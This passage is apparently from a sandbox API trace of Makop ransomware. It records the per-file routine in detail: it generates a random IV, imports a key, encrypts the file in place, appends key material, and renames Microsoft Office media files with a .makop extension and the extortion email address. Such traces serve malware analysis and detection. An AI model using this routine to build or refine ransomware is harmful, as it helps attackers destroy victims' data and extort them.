dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.465] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5168, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5168, lpOverlapped=0x0) returned 1 [0165.467] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5170, dwBufLen=0x5170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5170) returned 1 [0165.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5170, lpOverlapped=0x0) returned 1 [0165.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.468] SetEndOfFile (hFile=0xf0) returned 1 [0165.474] GetProcessHeap () returned 0x48a0000 [0165.474] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.474] GetProcessHeap () returned 0x48a0000 [0165.474] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.474] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.476] CloseHandle (hObject=0xf0) returned 1 [0165.476] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0165.476] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF") returned 61 [0165.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.479] GetProcessHeap () returned 0x48a0000 [0165.479] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.479] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0165.484] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.484] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.484] GetProcessHeap () returned 0x48a0000 [0165.485] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.485] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.485] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.485] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.485] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.486] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47c2, lpOverlapped=0x0) returned 1 [0165.489] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47d0, dwBufLen=0x47d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47d0) returned 1 [0165.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.489] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x47d0, lpOverlapped=0x0) returned 1 [0165.489] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.489] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x48a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.489] SetEndOfFile (hFile=0xf0) returned 1 [0165.496] GetProcessHeap () returned 0x48a0000 [0165.496] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.496] GetProcessHeap () returned 0x48a0000 [0165.496] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.496] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.498] CloseHandle (hObject=0xf0) returned 1 [0165.498] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0165.498] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF") returned 61 [0165.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.499] GetProcessHeap () returned 0x48a0000 [0165.500] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.500] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0165.503] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.504] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.504] GetProcessHeap () returned 0x48a0000 [0165.504] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.504] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.504] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.504] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.504] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.504] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.504] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.505] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.505] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.505] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.505] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f64, lpOverlapped=0x0) returned 1 [0165.507] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f70, dwBufLen=0x1f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f70) returned 1 [0165.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f70, lpOverlapped=0x0) returned 1 [0165.507] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.508] SetEndOfFile (hFile=0xf0) returned 1 [0165.515] GetProcessHeap () returned 0x48a0000 [0165.515] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.515] GetProcessHeap () returned 0x48a0000 [0165.515] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.515] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.517] CloseHandle (hObject=0xf0) returned 1 [0165.517] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0165.517] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF") returned 61 [0165.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.518] GetProcessHeap () returned 0x48a0000 [0165.518] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.519] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0165.523] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.523] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.523] GetProcessHeap () returned 0x48a0000 [0165.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.523] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.523] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.523] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.524] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.524] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.524] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.524] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.524] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.525] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xce9a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xce9a, lpOverlapped=0x0) returned 1 [0165.527] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcea0, dwBufLen=0xcea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcea0) returned 1 [0165.527] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.527] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcea0, lpOverlapped=0x0) returned 1 [0165.528] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcf74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.528] SetEndOfFile (hFile=0xf0) returned 1 [0165.535] GetProcessHeap () returned 0x48a0000 [0165.535] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.535] GetProcessHeap () returned 0x48a0000 [0165.535] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.535] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.537] CloseHandle (hObject=0xf0) returned 1 [0165.538] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0165.538] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0165.538] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0165.538] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned 48 [0165.538] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*") returned 52 [0165.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0165.539] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.539] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0165.539] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned 53 [0165.539] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*") returned 57 [0165.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, 